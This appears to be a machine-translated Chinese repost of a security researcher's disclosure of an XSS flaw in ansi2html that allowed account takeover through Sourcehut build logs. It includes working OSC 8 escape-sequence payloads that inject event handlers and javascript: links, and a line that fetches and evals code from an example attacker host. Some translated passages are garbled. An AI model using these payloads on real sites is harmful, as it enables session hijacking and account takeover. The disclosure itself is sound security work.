首页 时政热点 科技头条 智能AI 安全攻防 数码硬件 开发者生态 归档 标签 关于

通过构建日志接管 Sourcehut 帐户(ansi2html 中的 XSS)

2026-09-25 1 阅读 约7分钟阅读 arusekk
分享:
字号:
欢迎来到我的第一篇影响重大的漏洞文章!我喜欢好故事,所以让我先介绍一下背景。我最近有一个“伟大”的想法(我知道,我知道,我应该停止拥有这些)建立一个 sr.ht 实例,为人们托管他们的项目付费。你可以在时间线部分找到它,如果你想尝试一下或者在社交媒体上激怒我的话。无论如何,故事。第一步是克隆 sr.ht 存储库的一些最小子集,并开始对其进行黑客攻击。没有 NLP # 我倾向于在今年提交的漏洞研究报告中包含以下声明。用它来制作你想要的东西。本研究中未使用 NLP。错误都是我的。结构 # SourceHut 由多个微服务构成,主要的是 meta.sr.ht,可能还有 git.sr.ht 或 hub.sr.ht(旗舰实例仅将其托管在 sr.ht)。当然还有 builds.sr.ht,即 CI。一个不太为人所知的是mirror.sr.ht(正在慢慢转向mirror.srht.network),其中包含用于各种微服务的预构建包。我必须说我喜欢这种方法,因为它允许在任何与旗舰实例发行版本完全匹配的机器上轻松启动。如果您最喜欢的项目当前建议通过curl | sudo bash安装或“仅在此文件夹中启动Claude”(原文如此!),请考虑让自己意识到使用实际软件包向最终用户分发软件的同样有效的选项。 1 构建 Alpine 软件包 # 因此,如果您碰巧使用不同的发行版,甚至是不同版本的 Alpine,那么您就得靠自己了。因此,就有了 sr.ht-apkbuilds 存储库,您可以“分叉”它以使用您的签名密钥、Alpine 版本和镜像。 Arch 也有 sr.ht-pkgbuilds,但目前它实际上尚未维护。 2 这涉及使用 builds.sr.ht 来引导软件包。我尝试查看构建日志的页面源代码,因为它一直滚动到我想要的位置,这让我有点恼火。就在那时我发现了这个:/* ... */。 ansi38-150150150 { 颜色:#969696 ; }。 ansi38-150150150 { 颜色:#969696 ; }。 ansi38-150150150 { 颜色:#969696 ; }。 ansi38-150150150 { 颜色:#969696 ; }。 ansi38-150150150 { 颜色:#969696 ; }。 ansi38-150150150 { 颜色:#969696 ; }。 ansi38-150150150 { 颜色:#969696 ; }。 ansi38-150150150 { 颜色:#969696 ; }。 ansi38-150150150 { 颜色:#969696 ; }。 ansi38-150150150 { 颜色:#969696 ; }。 ansi38-150150150 { 颜色:#969696 ; /* ... */ 我决定仔细看看它是如何完成的,也许修复它。看,我喜欢 SourceHut。我可以看到这里浪费了相当多的计算和带宽。我希望他们致富,以便其他人效仿,但有一些不必要的浪费会减缓这一进程。 3 ansi2html # 我研究了将 ANSI 转义码转换为 HTML 的逻辑,并为其提交了一个问题。那时,回购协议中已经有一年多没有任何活动了,所以我决定继续研究它,因为当我不专注于某个特定项目时,我喜欢自己收到好的补丁。这很快导致提交了修复此特定问题的 PR。鉴于我的“夺旗”背景,我开始更多地研究 ansi2html,以寻找更多错误(尤其是我即将自己托管它!)。除了解析颜色的转义序列之外,它还允许自动链接和 OSC 8 超链接。因为代码的结构还不是很好,所以在阅读了这个很棒的 XSS 备忘单(现在永远在我的书签中)后,我能够制作一个恶意输入字符串: $ printf '\33]8;;https://example.com/"/autofocus/tabindex="1"/onfocus="alert`xss`\7Nothing to see here\33]8;;\7' | ansi2html [...] < a href = "https://example.com/" / autofocus / tabindex = "1" / onfocus = "alert`xss`" >这里没有可看的 [...] $ printf '\33]8;;javascript:alert`xss`\7这里没有可看的\33]8;;\7' | ansi2html [...] < a href = "javascript:alert`xss`" >这里没什么可看的 [...] 前者值得一些解释。不知道为什么,但正如你可以检查的那样,它解析为相同的 DOM 树: < a href = "https://example.com/" autofocus tabindex = "1" onfocus = "alert`xss`" > Nothing to see here 因此,如果你碰巧能够使 ␛]8;;https://example.com/"/...␇ 出现在作业日志中 — 4,你甚至可以在没有帐户的情况下,通过向公众发送补丁来实现打开持续集成的邮件列表,或者通过控制恰好打印到日志的任何远程资源 - 恭喜,您刚刚在 https://builds.sr.ht/~someone-else/job/1234567 创建了一个构建作业,该作业在查看它的每个浏览器中执行您的有效负载。您可以自己提交该作业,但这需要旗舰实例上的付费帐户,并且当前没有匿名付款(请勿在家里尝试此操作)# 可以下载实际的有效负载。来自攻击者的网站,例如 eval(await (await fetch('https://example.com')).text()) 但这里有一些关于它可以做什么的猜测。
这篇文章对您有帮助吗?

订阅66必读

每日精选科技资讯,直达你的邮箱